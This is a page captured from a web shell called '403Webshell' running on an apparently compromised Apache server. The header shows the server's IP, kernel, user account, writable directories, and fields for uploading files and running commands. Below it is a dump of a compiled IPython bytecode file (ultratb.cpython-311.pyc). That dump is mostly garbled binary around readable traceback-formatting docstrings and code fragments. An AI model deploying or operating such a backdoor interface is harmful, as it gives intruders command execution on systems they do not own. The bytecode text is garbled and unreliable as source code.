403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/core/__pycache__/ultratb.cpython-311.pyc
�

�@�c������dZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlZddlmZddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lm Z ddl!m"cm#Z#dZ$dZ%de&fd�Z'dd�d�Z(Gd�de#j)��Z*Gd�de*��Z+Gd�de*��Z,Gd�de,e+��Z-Gd�de-��Z.Gd�de-��Z/Gd �d!e+��Z0d"�Z1e1fd#�Z2e1fd$�Z3dS)%a]
Verbose and colourful traceback formatting.

**ColorTB**

I've always found it a bit hard to visually parse tracebacks in Python.  The
ColorTB class is a solution to that problem.  It colors the different parts of a
traceback in a manner similar to what you would expect from a syntax-highlighting
text editor.

Installation instructions for ColorTB::

    import sys,ultratb
    sys.excepthook = ultratb.ColorTB()

**VerboseTB**

I've also included a port of Ka-Ping Yee's "cgitb.py" that produces all kinds
of useful info when a traceback occurs.  Ping originally had it spit out HTML
and intended it for CGI programmers, but why should they have all the fun?  I
altered it to spit out colored text to the terminal.  It's a bit overwhelming,
but kind of neat, and maybe useful for long-running programs that you believe
are bug-free.  If a crash *does* occur in that type of program you want details.
Give it a shot--you'll love it or you'll hate it.

.. note::

  The Verbose mode prints the variables currently visible where the exception
  happened (shortening their strings if too long). This can potentially be
  very slow, if you happen to have a huge data structure whose string
  representation is complex to compute. Your computer may appear to freeze for
  a while with cpu usage at 100%. If this occurs, you can cancel the traceback
  with Ctrl-C (maybe hitting it more than once).

  If you encounter this kind of situation often, you may want to use the
  Verbose_novars mode instead of the regular Verbose, which avoids formatting
  variables (but otherwise includes the information and context given by
  Verbose).

.. note::

  The verbose mode print all variables in the stack, which means it can
  potentially leak sensitive information like access keys, or unencrypted
  password.

Installation instructions for VerboseTB::

    import sys,ultratb
    sys.excepthook = ultratb.VerboseTB()

Note:  Much of the code in this module was lifted verbatim from the standard
library module 'traceback.py' and Ka-Ping Yee's 'cgitb.py'.

Color schemes
-------------

The colors are defined in the class TBTools through the use of the
ColorSchemeTable class. Currently the following exist:

  - NoColor: allows all of this module to be used in any terminal (the color
    escapes are just dummy blank strings).

  - Linux: is meant to look good in a terminal like the Linux console (black
    or very dark background).

  - LightBG: similar to Linux but swaps dark/light colors to be more readable
    in light background terminals.

  - Neutral: a neutral color scheme that should be readable on both light and
    dark background

You can implement other color schemes easily, the syntax is fairly
self-explanatory. Please send back new schemes you develop to the author for
possible inclusion in future releases.

Inheritance diagram:

.. inheritance-diagram:: IPython.core.ultratb
   :parts: 3
�N)�
TracebackType)�Tuple�List�Any�Optional)�Terminal256Formatter)�get_style_by_name)�get_ipython)�debugger)�DisplayTrap)�exception_colors)�path)�	py3compat)�get_terminal_size��NoColor�
has_colorsc�H�tdz
}g}|D�]}|tjur&|�|j�d|j�d����7|�|����d��dz}|j}|j	rL|tt|����z
}	tj
|	���t|����}
|j}nd||fz}
|j}|�|
�|j�d|��}|�|��|r|j	r|�|dz����|S)a

    Format tracebacks lines with pointing arrow, leading numbers...

    Parameters
    ----------
    lines : list[Line]
    Colors
        ColorScheme used.
    lvals : str
        Values of local variables, already colored, to inject just after the error line.
    �z   (...)�
)�	pygmentedz%*s� )�INDENT_SIZE�
stack_data�LINE_GAP�append�linenoEm�Normal�render�rstrip�lineno�
is_current�len�strr�
make_arrow)�lines�Colorsr�lvals�
numbers_width�res�
stack_line�liner!�pad�num�start_colors            �6/usr/lib/python3/dist-packages/IPython/core/ultratb.py�_format_traceback_linesr1�sB�� �!�O�M�
�C��%�%�
���,�,�,��J�J�6�?�?�?�F�M�M�M�J�K�K�K��� � �:� �6�6�=�=�d�C�C�d�J���"��� �	(��#�c�&�k�k�"2�"2�2�C�$�/��4�4�4�c�&�k�k�k�B�C� �/�K�K��=�&�1�1�C� �-�K�)�k�3�3��
�
�
�t�t�D���
�
�4�����	%�Z�*�	%��J�J�u�t�|�$�$�$���J��r!c�F�t��}|�7||jjvr)d|jj|z}|�	d|�d|��}nMd|�d|��}nDtjtj|tj����}|�	d|�d|��}nd|�d|��}|�||�	��S)
a
    Format filename lines with `In [n]` if it's the nth code cell or `File *.py` if it's a module.

    Parameters
    ----------
    file : str
    ColorFilename
        ColorScheme's filename coloring to be used.
    ColorNormal
        ColorScheme's normal coloring to be used.
    Nz[%s]zCell z	In {file}zIn {file}, line {lineno}zFile �{file}z{file}:{lineno})�filer!)	r
�compile�
_filename_map�	util_path�
compress_userr�cast_unicode�fs_encoding�format)r6�
ColorFilename�ColorNormalr!�ipinst�tpl_links      r0�_format_filenamerB�s����]�]�F�
��d�f�n�&B�B�B����4�T�:�:���>�F�}�F�F��F�F�H�H�W�}�W�W�+�W�W�H�H��&��"�4��)>�?�?�
�
���>�C�}�C�C�k�C�C�H�H�N�}�N�N��N�N�H��?�?��V�?�4�4�4r2c���eZdZdZdZ					ddd��fd�Zd�Zd	�Zeee��Z	e
d
���Zdee
eeeffd�Zdeefd
�Zedefd���Zd�Zd�Zd�Zddeefd�Z	ddeefd�Z�xZS)�TBToolsz2Basic tools used by all traceback printer classes.rrFN)�debugger_clsc�D��tt|���||���||_||_t��|_|�|��||_|ptj
|_|r|���|_dSd|_dS�N)�parent�config)
�superrD�__init__�call_pdb�_ostreamr
�color_scheme_table�
set_colors�
old_schemer�PdbrE�pdb)�self�color_schemerL�ostreamrHrIrE�	__class__s       �r0rKzTBTools.__init__�s����	�g�t���%�%�V�F�%�C�C�C� ��
� ��
�#3�"4�"4�������%�%�%�&���(�8�H�L����	��(�(�*�*�D�H�H�H��D�H�H�Hr2c�6�|j�tjn|jS)asOutput stream that exceptions are written to.

        Valid values are:

        - None: the default, which means that IPython will dynamically resolve
          to sys.stdout.  This ensures compatibility with most tools, including
          Windows (where plain stdout doesn't recognize ANSI escapes).

        - Any object with 'write' and 'flush' attributes.
        )rM�sys�stdout�rSs r0�_get_ostreamzTBTools._get_ostream�s��"�]�2�s�z�z��
�Er2c�\�|�"t|d��rt|d��sJ�||_dS)N�write�flush)�hasattrrM)rS�vals  r0�_set_ostreamzTBTools._set_ostreams2���{�w�s�G�4�4�{���g�9N�9N�{�{�{���
�
�
r2c�t�t|dd��}|r|St|dd��rdSt|dd��S)N�	__cause__�__suppress_context__F�__context__)�getattr)�exception_value�causes  r0�_get_chained_exceptionzTBTools._get_chained_exceptionsL�����d�;�;���	��L��?�$:�E�B�B�	��4���
�t�<�<�<r2�returnc�R�|�|��}|r|j||jfSdS�N)rirV�
__traceback__)rS�evalue�chained_evalues   r0�get_parts_of_chained_exceptionz&TBTools.get_parts_of_chained_exceptions8���4�4�V�<�<���	Z�!�+�^�^�=Y�Y�Y��tr2c�$�d}d}|r|gg}n|gg}|S)NzF
The above exception was the direct cause of the following exception:
zE
During handling of the above exception, another exception occurred:
�)rSrh�direct_cause�exception_during_handling�messages     r0�!prepare_chained_exception_messagez)TBTools.prepare_chained_exception_messages1��a��$m�!��	4�$�~�&�G�G�1�2�3�G��r2c�F�|jj���dkS)N�nocolor)rN�active_scheme_name�lowerrZs r0rzTBTools.has_colors)s���&�9�?�?�A�A�Y�N�Nr2c��|jj|i|��|jj|_t	|d��r|j�|jj|i|��dSdSdS)z;Shorthand access to the color table scheme selector method.rRN)rN�set_active_scheme�
active_colorsr'r_rRrO)rS�args�kws   r0rOzTBTools.set_colors-su��	2���1�4�>�2�>�>�>��-�;����4����	-�D�H�$8��D�H���,��,�,�,�,�,�	-�	-�$8�$8r2c��|jjdkr2|j�|j��|jj|_dS|jj|_|j�d��|jj|_dS)z=Toggle between the currently active color scheme and NoColor.rN)rNryr|rPr}r'rZs r0�color_togglezTBTools.color_toggle8st���"�5��B�B��#�5�5�d�o�F�F�F��1�?�D�K�K�K�"�5�H�D�O��#�5�5�i�@�@�@��1�?�D�K�K�Kr2c�,�d�|��S)�4Convert a structured traceback (a list) to a string.r��join�rS�stbs  r0�stb2textzTBTools.stb2textCs���y�y��~�~�r2��	tb_offsetc�^�|�|||||��}|�|��S)zgReturn formatted traceback.

        Subclasses may override this if they add extra arguments.
        )�structured_tracebackr�)rS�etype�value�tbr��context�tb_lists       r0�textzTBTools.textGs8��
�+�+�E�5�"�,5�w�@�@���}�}�W�%�%�%r2c��t���)zWReturn a list of traceback frames.

        Must be implemented by each class.
        )�NotImplementedError)rSr�rnr�r�r��modes       r0r�zTBTools.structured_tracebackPs��"�#�#�#r2)rFNNN�Nr�)Nr�N)�__name__�
__module__�__qualname__�__doc__r�rKr[ra�propertyrU�staticmethodrirr�type�
BaseExceptionrrprrrv�boolrrOr�r��intr�r��
__classcell__�rVs@r0rDrD�s��������<�<��I������
"��"�"�"�"�"�"�"�HF�F�F�����h�|�\�2�2�G��=�=��\�=��	�%��m�]�:�;�	<������$�s�)������O�D�O�O�O��X�O�	-�	-�	-�	@�	@�	@����&�&���
�&�&�&�&�SW�$�$�,4�S�M�$�$�$�$�$�$�$�$r2rDc
�t�eZdZdZd�Zd�Z			ddededee	d	ee
fd
�Zd�Zd�Z
d
�Zd�Zd�ZdS)�ListTBajPrint traceback information from a traceback list, with optional color.

    Calling requires 3 arguments: (etype, evalue, elist)
    as would be obtained by::

      etype, evalue, tb = sys.exc_info()
      if tb:
        elist = traceback.extract_tb(tb)
      else:
        elist = None

    It can thus be used by programs which need to process the traceback before
    printing (such as console replacements based on the code module from the
    standard library).

    Because they are meant to be called without a full traceback (only a
    list), instances of this class can't call the interactive pdb debugger.c���|j���|j�|�|||����|j�d��dS�Nr)rUr^r]r��rSr�r��elists    r0�__call__zListTB.__call__osX�������������4�9�9�U�E�5�9�9�:�:�:�����4� � � � � r2c�2�|rtj|��SdSrl)�	traceback�
extract_tb)rSr�s  r0�_extract_tbzListTB._extract_tbts ��
�	��'��+�+�+��4r2Nr�r�rn�etbr�c��t|t��r|\}}nt��}t|t��r|}n|�|�|��}ng}|�|jn|}t|t��sJ�|j}g}	|rp|rt|��|kr
||d�}|	�	d|j
�d|j�d�dz��|	�|�
|����d�|�||����}
|	�	|
��|�|��}|r�t#|d��|vrq|�|j��d}|\}}}|�t#|d����d}
|�||||f|
|��|z|	z}	|	S)	a�Return a color formatted string with the traceback info.

        Parameters
        ----------
        etype : exception type
            Type of the exception raised.
        evalue : object
            Data stored in the exception
        etb : list | TracebackType | None
            If list: List of frames, see class docstring for details.
            If Traceback: Traceback of the exception.
        tb_offset : int, optional
            Number of frames in the traceback to skip.  If not given, the
            instance evalue is used (set in constructor).
        context : int, optional
            Number of lines of context information to print.

        Returns
        -------
        String with formatted exception.
        Nz
Traceback z(most recent call last)�:r�rr)�
isinstance�tuple�set�listr�r�r�r'r#r�normalEmr�extend�_format_listr��_format_exception_onlyrp�idrvrc�addr�)rSr�rnr�r�r��chained_exc_idsr�r'�out_listr&�	exception�chained_exception_message�chained_exceptions_tb_offsets              r0r�zListTB.structured_tracebackzs��>�c�5�!�!�	$�#&� �C���!�e�e�O��c�4� � �	��E�E�
�_��$�$�S�)�)�E�E��E�&/�&7�D�N�N�Y�	��)�S�)�)�)�)�)�������	6��
*�S��Z�Z�)�3�3��i�j�j�)���O�O�O�#�_�_�_�f�m�m�m�=�?C�D�
E�
E�
E��O�O�D�-�-�e�4�4�5�5�5�����3�3�E�6�B�B�C�C����������7�7��?�?�	��	�R�	�!��-�-��@�@�(,�(N�(N�� �)"�)"�"#�)%�%�!*��E�6�3�����9�Q�<� 0� 0�1�1�1�+,�(��)�)��6�C��#9�0�'�;�;�,�,��	�
��r2c��|j}g}t|��D]�\}\}}}}|t|��dz
kr|j|j|j|jfn|j|j|j	df\}	}
}}t|||	|���}
|	�d|
��}|dkr|d|
�|�|	�d�z
}n|dz
}|r||�d|����|	�d�z
}|�|����|S)	aFormat a list of traceback entry tuples for printing.

        Given a list of tuples as returned by extract_tb() or
        extract_stack(), return a list of strings ready for printing.
        Each string in the resulting list corresponds to the item with the
        same index in the argument list.  Each string ends in a newline;
        the strings may contain internal newlines as well, for those items
        whose source text line is not None.

        Lifted almost verbatim from traceback.py
        rr�r3�  �<module>z in r�    )
r'�	enumerater#r��nameEm�
filenameEmr,r�name�filenamerB�stripr)rS�extracted_listr'r��indr�r!r�r,�	normalCol�nameCol�fileCol�lineCol�fns�items               r0r�zListTB._format_list�s4�������3<�^�3L�3L�	�	�/�C�/�(�F�D�$��#�n�-�-��1�1�1���&�-��1B�F�K�P�P��m�V�[�&�/�2�F�	
1�I�w���#�8�W�i��O�O�O�C��(�(�3�(�(�D��z�!�!��;�w�;��;�i�;�;�;�;��������
D��7�C�C��
�
���C�i�C�C�C�C���K�K�������r2c��d}|j}g}tj|j|jz|jz��}|�|�|dz���n:t|t���r�d}|j	sd|_	|j
r'|j
}tj|j	|j
��}nd}d}|�|j
�dt|j	|j|j
|dkrdn|�	���|j�d���|dkrtj|jd
��}|��d}	|	t#|��krL||	���r2|	dz
}	|	t#|��kr||	����2|�|j�d
|����|j�d���|j�]d
}
||	|jdz
�D]!}|���r|
|z
}
�|
dz
}
�"|�|j�|
�d|j�d���	|j}
n%#t0$r|�|��}
YnwxYw|
r+|�|�|j�d|j�d|
�d���n|�d|z��|r6t5��}|�&|j�|j	|j
d��|S)aTFormat the exception part of a traceback.

        The arguments are the exception type and value such as given by
        sys.exc_info()[:2]. The return value is a list of strings, each ending
        in a newline.  Normally, the list contains a single string; however,
        for SyntaxError exceptions, it contains several lines that (when
        printed) display detailed information about where the syntax error
        occurred.  The message indicating which exception occurred is the
        always last string in the list.

        Also lifted nearly verbatim from traceback.py
        FNrTz<string>�unknownr�r�r3zutf-8rrr�r�^r�z%s
)r'rr;�excNamer�rr�
issubclass�SyntaxErrorr�r!�	linecache�getliner�rBr�r�r#�isspacer,r��offset�caret�msg�	Exception�	_some_strr
�hooks�synchronize_with_editor)
rSr�r��
have_filedatar'r��styper!�textline�i�s�cr@s
             r0r�zListTB._format_exception_only�s;���
�������&�v�~���'F���'V�W�W���=��K�K����%�%�%�%��%��-�-�(
C� $�
��~�B�
�u�~��<�"�"�\�F�(�0�����N�N�H�H�&�F�!�H��������(�!�N�"�-�"�O�,2�i�,?�,?�D�D�V�	�����
�
�
�
�����r�>�>�(�5�e�j�'�J�J�H��'��A��c�(�m�m�+�+����0C�0C�0E�0E�+��Q����c�(�m�m�+�+����0C�0C�0E�0E�+��K�K�&�+�+�+�2:�.�.�2B�2B�2B�28�-�-�-�!A�B�B�B��|�/�"��!)�!�E�L�1�,<�*<�!=�)�)�A� �y�y�{�{�)� !�Q���� !�S�������6�<�<����39�=�=�=�%B�C�C�C�
*��I�����
*�
*�
*��N�N�5�)�)����
*�����
,����e�e�V�^�^�^�.4�m�m�m�Q�Q�Q�@�A�A�A�A����F�U�N�+�+�+��	V� �]�]�F��!���4�4�U�^�U�\�ST�U�U�U��s�H!�!I�Ic�:�t�|||��S)z�Only print the exception type and message, without a traceback.

        Parameters
        ----------
        etype : exception type
        value : exception value
        )r�r�)rSr�r�s   r0�get_exception_onlyzListTB.get_exception_only;s���*�*�4���>�>�>r2c���|j}|���|�d�|�||������|���dS)z�Only print the exception type and message, without a traceback.

        Parameters
        ----------
        etype : exception type
        evalue : exception value
        rN)rUr^r]r�r�)rSr�rnrUs    r0�show_exception_onlyzListTB.show_exception_onlyEsW���,���
�
�����
�
�d�i�i�� 7� 7��v� F� F�G�G�H�H�H��
�
�����r2c��	tjt|����S#dt|��jzcYSxYw)Nz<unprintable %s object>)rr;r$r�r�)rSr�s  r0r�zListTB._some_strTsC��	E��)�#�e�*�*�5�5�5��	E�-��U���0D�D�D�D�D���s� #�>)NNr�)r�r�r�r�r�r�r�r�rrr�r�r�r�r�r�r�rrr2r0r�r�[s�������O�O�&!�!�!�
���(,�#'��
J�J��J��J��m�
$�	J�
�C�=�J�J�J�J�X"�"�"�HO�O�O�b?�?�?�
�
�
�E�E�E�E�Er2r�c��eZdZdZ										ddeded	ed
edef
d�Zd
�Zdd�Z	d�Z
dedede
ed	e
efd�Zdeded	efd�Z		ddede
ede
ed	e
edef
d�Zddefd�Zdd�Zd d�ZdS)!�	VerboseTBa;A port of Ka-Ping Yee's cgitb.py module that outputs color text instead
    of HTML.  Requires inspect and pydoc.  Crazy, man.

    Modified version which optionally strips the topmost entries from the
    traceback, to be used with alternate interpreters (because their own code
    would appear in the traceback).�LinuxFNrTrTrLr��long_header�include_varsc	��t�|||||	|
|���||_||_||_|�t
j}||_d|_dS)aWSpecify traceback offset, headers and color scheme.

        Define how many frames to drop from the tracebacks. Calling it with
        tb_offset=1 allows use of this handler in interpreters which will have
        their own code at the top of the traceback (VerboseTB will first
        remove that frame before printing the traceback info).)rTrLrUrHrIrENT)	rDrKr�r�r�r��
checkcache�check_cache�skip_hidden)rSrTrLrUr�r�r�r�rErHrIs           r0rKzVerboseTB.__init__esu��&	����%�����%�	�	
�	
�	
�#���&���(�����#�.�K�&�������r2c	�.�|j}|j}t|tj��rd|j�d|j�d|�d�Sdtz}|j�d|�|��}d|j	�d|j�d|��}d|j	�d	|j�d
|��}d|j�d|��}t|j|j||j
�
��}	tj|j��\}
}}}
|j���}|dkrd}n\|jrt(nt*}	tj|
|||
|���}|�||���}n#t0$r||z}YnwxYwd}g}|jrd	|j}|D]3}|�||jt9|j��fz���4n%#t<$r|�d��YnwxYw|r|�|�|����}|	�|rdnd�|�d�}|d�tA|j!||j"|����z
}|S)zFormat a single stack framer�z[... skipping similar frames: �]rrzin r5z{scope}z%sz"(***failed resolving arguments***)z%s z= %sr3r�r�)�formatvalue)r6�scopez<Exception trying to inspect frame. No more locals available.z, )#r'rr�r�RepeatedFramesr��descriptionr�valEm�vNamerBr�r�r!�inspect�getargvalues�frame�	executing�
code_qualnamer��eqrepr�nullrepr�formatargvaluesr=�KeyError�variables_in_executing_piecerr��reprr�r�r�r1r&r)rS�
frame_infor'�ColorsNormal�indent�	em_normal�tpl_call�
tpl_call_fail�tpl_name_val�linkr~�varargs�varkw�locals_�func�call�var_reprr�r(�
lvals_list�fibp�var�results                       r0�
format_recordzVerboseTB.format_record�s�������}���j�*�";�<�<�	F�	F�����
� 6� 6� 6����F�
F��{�"��"(�,�,�,�����E�	�T���T�T�v�|�T�T�l�T�T����L�L�L��L�L�L��L�
�
�
�
+1�,�,�,���E���������$�	
�
�
��)0�(<�Z�=M�(N�(N�%��g�u�g��#�1�1�3�3���:����D�D�"&�!2�@�v�v��H�
,��/��'�5�'�x����� ���D���>�>�����
,�
,�
,�"%�t�+����#
,����&���
���
	�	
�"�>���R�R�C��%�%�l�c�h��S�Y���5P�&P�Q�Q�Q�Q�R���
�
�
��!�!�R������
�����	B�$�f�i�n�n�Z�&@�&@�&@�A�E��8�$�.�$�$�B�8��8�8�8���"�'�'�1�*�2B�F�D�O�]b�c�c�d�d�d���
s$�0D7�7E	�E	�=F�F8�7F8c�n�|j}|j}|j�|�|��}tdt	��d��}|r�dt
j���dzdzt
jz}tj
tj	����}|j�d|z�|�d|�d|tt|����z
t|��z
z�|�d|�|����	}	|	dz
}	n6|�d	�|tt|����z
����}	|	S)
N�KrzPython �: �-rrz�
A problem occurred executing Python code.  Here is the sequence of function
calls leading up to the error, with the most recent (innermost) call last.z!Traceback (most recent call last))r'rr��minrrX�version�split�
executable�time�ctime�topliner#r$�rjust)
rSr��long_version�colors�colorsnormal�exc�width�pyver�date�heads
          r0�prepare_headerzVerboseTB.prepare_header�s9������}�� �.�.�%�%���>���B�)�+�+�A�.�/�/���
	>���� 1� 1� 3� 3�A� 6�6��=���N�E��:�d�i�k�k�*�*�D�+1�>�>�3��;�;����+.�3��u�s�3�u�:�:���7N�QT�UZ�Q[�Q[�7[�0\�0\�+0�5�5�$�*�*�U�2C�2C�2C�F�D�
�c�
c�D�D�!�S�"E�"�U�5�3�s�5�z�z�?�?�#:�;�;�#<�>�D��r2c�"�|j}|j}	tt||f��\}}nC#tt	j��dd�}}tt||f��\}}YnxYw|j�|�|�dtj|����gS)N�r)	r'r�mapr$rX�exc_infor�rr;)rSr�rnr*r+�	etype_str�
evalue_strs       r0�format_exceptionzVerboseTB.format_exception�s�������}��	>�$'��e�V�_�$=�$=�!�I�z�z��	>���������!3�6�E�$'��e�V�_�$=�$=�!�I�z�z�z���� &���	�	� ,���i�.D�Z�.P�.P�.P�R�S�	Ss	�+�>A+r�rnr�c
���|}	|j}n#t$rYnwxYw|�|jn|}t|t��sJ�|�||j��}|r|�|||��ng}g}	d}
t|��dz
}t|��D]�\}}
t|
tj��s3|jr,|
j
j�dd��r||kr|
dz
}
�R|
r4|j}|j}|	�d|j�d|
�d|�d���d}
|	�|�|
������|
r2|j}|j}|	�d|j�d|
�d|�d���|�||��}|r>|d	}t-��}|�&|j�|j|jd��|g|	zd
�|d��gzgS)z�Formats the header, traceback and exception message for a single exception.

        This may be called multiple times by Python 3 exception chaining
        (PEP 3134).
        Nrr�__tracebackhide__r�z[... skipping hidden z frame]r���r�)r��AttributeErrorr�r�r�r1r��get_recordsr#r�rr�r�r�f_locals�getr'rrr�rr8r
r�r�r�r!r�)rSr�rnr��number_of_lines_of_contextr��
orig_etyper0�records�frames�skipped�
lastrecordr��rr'r�formatted_exceptionr
r@s                   r0�format_exception_as_a_wholez%VerboseTB.format_exception_as_a_wholesb���
�	��N�E�E���	�	�	��D�	����'0�&7�D�N�N�Y�	��)�S�)�)�)�)�)��"�"�5�$�*:�;�;��LO�W�D���S�"<�i�H�H�H�UW�	�������\�\�A�%�
��g�&�&�
	1�
	1�D�A�q��a��!:�;�;�
��@P�
��7�#�'�'�(;�Q�?�?��A��O�O��q�L�G���
����%�}���
�
�
��~�~�~�w�w�w����>�������M�M�$�,�,�Q�/�/�0�0�0�0��	��[�F�!�=�L��M�M�M��>�>�>�7�7�7�L�L�L�:�
�
�
�
#�3�3�E�6�B�B���	`� ���J� �]�]�F��!���4�4�Z�5H�*�J[�]^�_�_�_�����2�7�7�+>�q�+A�#B�#B�"C�C�D�Ds��
�r@c�>�|�J�|dz
}|dz}||z
}|jr5td��}tj|d��}t	|���}nd}tj|||���}	t
tj�||	�����|d�S)Nrr3�defaultz
bg:ansiyellow)�style)�before�after�pygments_formatter)�options)rr	r�style_with_executing_noder�Optionsr��	FrameInfo)
rSr�r@r�r�rMrLrK�	formatterrOs
          r0r=zVerboseTB.get_records>s�������,�q�0���1����5����?�	�%�i�0�0�E��8���P�P�E�,�5�9�9�9�I�I��I��$���(�
�
�
��
�J�(�3�3�C��3�I�I�J�J�9�:�:�V�Vr2r�c���|�|||||��}|j}|j}|j�dt	dt��d��z�|��}	|	g}
d}d}|}
|�|��}|r(|�J�|
|�|j��z
}
|\}}}nd}t��}|r�|
|�|||||��z
}
|�|��}|rct|d��|vrL|�t|d����|
|�|j��z
}
|\}}}nd}|��t|
��D]}|
|z
}
�|
S)z5Return a nice text document describing the traceback.r rr�Nr)
rHr'rr'r!rrprvrcr�r�r��reversed)rSr�rnr�r�r@rGr*r+r0�structured_traceback_partsr��lines_of_context�formatted_exceptionsr�r�s                r0r�zVerboseTB.structured_tracebackRs���#�>�>�u�f�c�Sm�?H�J�J������}��!�>�>�3��R�9J�9L�9L�Q�9O�1P�1P�+P�+P�R^�R^�_��&*�V�"�'(�$���2���7�7��?�?�	��	��%�%�%� �D�$J�$J�6�K[�$\�$\�\� �!*��E�6�3�3��F��%�%���
	� �D�$D�$D�U�F�TW�Yi�Ea�%c�%c�
c� ��;�;�F�C�C�I��
��I�a�L�!1�!1�_�!D�!D��#�#�B�y��|�$4�$4�5�5�5�$��(N�(N�v�O_�(`�(`�`�$�%.�"��v�s�s����
	�$,�,@�#A�#A�	>�	>��&�*=�=�&�&�)�)r2�forcec��|s|j�r |j�|���|_ttj���}|5|j���t|d��r|j�|j}ntj	x}|_|j�>|jj
�2|jj
�J�|jj
|_|j�|jj
�2|r|j
r|j
}|j|j_|j�
d|��ddd��n#1swxYwYt|d��r|`dSdS)a4Call up the pdb debugger if desired, always clean up the tb
        reference.

        Keywords:

          - force(False): by default, this routine checks the instance call_pdb
            flag and does not actually invoke the debugger if the flag is false.
            The 'force' option forces the debugger to activate even if the flag
            is false.

        If the call_pdb flag is set, the pdb interactive debugger is
        invoked. In all cases, the self.tb reference to the current traceback
        is deleted to prevent lingering references which hamper memory
        management.

        Note that each call to pdb() does an 'import readline', so if your app
        requires a special setup for the readline completers, you'll have to
        fix that by hand after invoking the exception handler.N)�hookr�)rLrRrErrX�__displayhook__�resetr_r��last_traceback�tb_next�tb_frame�botframe�interaction)rSrZ�display_trapr�s    r0rzVerboseTB.debugger�s���(�	0�D�M�	0��x���,�,�.�.���'�C�,?�@�@�@�L��

0�

0����� � � ��4��&�&�7�4�7�+>��'�C�C�$'�$6�6�C�$�'��g�)�d�g�o�.I��7�?�6�6�6�"�g�o�D�G��g�)�d�g�o�.I��&�3�;�&��+�C�$'�L���!���$�$�T�3�/�/�/�

0�

0�

0�

0�

0�

0�

0�

0�

0�

0�

0����

0�

0�

0�

0��4����	�����	�	s�C
D � D$�'D$c�"�|ptj��\}}}||_|j}|���|�|�|||����|�d��|���dSr�)rXr5r�rUr^r]r�)rS�infor�rnr�rUs      r0�handlerzVerboseTB.handler�sy��#�5�s�|�~�~���������,���
�
�����
�
�d�i�i��v�s�3�3�4�4�4��
�
�d�����
�
�����r2c���|�|���n|�|||f��	|���dS#t$rtd��YdSwxYw)z@This hook can replace sys.excepthook (for Python 2.1 or higher).N�
KeyboardInterrupt)rgr�KeyboardInterrupt�print)rSr�rnr�s    r0r�zVerboseTB.__call__�sx���;��L�L�N�N�N�N��L�L�%���-�.�.�.�	)��M�M�O�O�O�O�O�� �	)�	)�	)��'�(�(�(�(�(�(�	)���s�A�A$�#A$)
r�FNrFTNNNN)Fr�rl)NNN)r�r�r�r�r$r�r�rKrr1r8r�r�rrrHr=r�rrgr�rrr2r0r�r�]s�������'�'�$����!�!�����( �( ��( ��( �
�( ��
( ��( �( �( �( �TL�L�L�\����,S�S�S�;E��;E��;E��m�
$�	;E��C�=�
;E�;E�;E�;E�zW� �W�>A�W�NQ�W�W�W�W�2$(�*+�
,*�,*��,*���'�,*��m�
$�	,*�
�C�=�,*�%(�
,*�,*�,*�,*�\*�*�d�*�*�*�*�X����	)�	)�	)�	)�	)�	)r2r�c�p�eZdZUdZeed<					dd�Zdd
�Zd�Zdde	efd�Z
d
�Zd�Zd�Z
d�ZdS)�FormattedTBa�Subclass ListTB but allow calling with a traceback.

    It can thus be used as a sys.excepthook for Python > 2.1.

    Also adds 'Context' and 'Verbose' modes, not available in ListTB.

    Allows a tb_offset to be specified. This is useful for situations where
    one needs to remove a number of topmost frames from the traceback (such as
    occurs with python programs that themselves execute other python code,
    like Python shells).  r��Plainr�FNrc
���gd�|_|jdd�|_t�|||||||||	|
|���t	dddd���|_|�|��dS)N)rn�Context�Verbose�MinimalrrU)
rTrLrUr�r�r�r�rErHrIr�r)�valid_modes�
verbose_modesr�rK�dict�_join_chars�set_mode)rSr�rTrLrUr�r�r�r�rErHrIs            r0rKzFormattedTB.__init__�s���F�E�E���!�-�a��c�2������4�l�X�#*�i�'2��'2��"(��		�	9�	9�	9� �b�$��(*�,�,�,���	
�
�
�d�����r2r�c� �|�|jn|}|j}||jvrt�||||||��S|dkrt
�|||��S|���t
�||||||��S)Nrr)r�r�rtr�r�r�r�r�)rSr�r�r�r�r@r�s       r0r�z FormattedTB.structured_traceback�s���&/�&7�D�N�N�Y�	��y���4�%�%�%��1�1��e�U�B�	�3M���
��Y�
�
��,�,�T�5�%�@�@�@�
�������.�.��e�U�B�	�3M���
r2c�6�|j�|��S)r�)�tb_join_charr�r�s  r0r�zFormattedTB.stb2text�s��� �%�%�c�*�*�*r2c��|sJ|j�|j��dzt|j��z}|j||_nQ||jvr*t	d|zdzt|j��z���t
|t
��sJ�||_|j|jdk|_|j|j|_	dS)zbSwitch to the desired mode.

        If mode is not specified, cycles through the available modes.rz#Unrecognized mode in FormattedTB: <z>
Valid modes: r3N)
rs�indexr�r#�
ValueErrorr$r�r�rvrz)rSr��new_idxs   r0rwzFormattedTB.set_modes���
�	��'�-�-�d�i�8�8�1�<��$�*�+�+�,�G��(��1�D�I�I�
��)�
)�
)��5��<�@ � �"%�d�&6�"7�"7�8���
�
�d�C�(�(�(�(�(��D�I�!�Y�$�*:�1�*=�=��� �,�T�Y�7����r2c�F�|�|jd��dS�Nr�rwrsrZs r0�plainzFormattedTB.plain�"���
�
�d�&�q�)�*�*�*�*�*r2c�F�|�|jd��dS)Nrr�rZs r0r�zFormattedTB.contextr�r2c�F�|�|jd��dS)Nr3r�rZs r0�verbosezFormattedTB.verboser�r2c�F�|�|jd��dS)NrUr�rZs r0�minimalzFormattedTB.minimal r�r2)rnr�FNrFFNNNNr�rl)r�r�r�r�r$�__annotations__rKr�r�rrwr�r�r�r�rrr2r0rmrm�s��������	�	��I�I�I�DI��>C�04�%)�	����.����&+�+�+�8�8�X�c�]�8�8�8�8�.+�+�+�+�+�+�+�+�+�+�+�+�+�+r2rmc�*�eZdZdZ		dd�Z		dd�ZdS)�AutoFormattedTBaGA traceback printer which can be called on the fly.

    It will find out about exceptions by itself.

    A brief example::

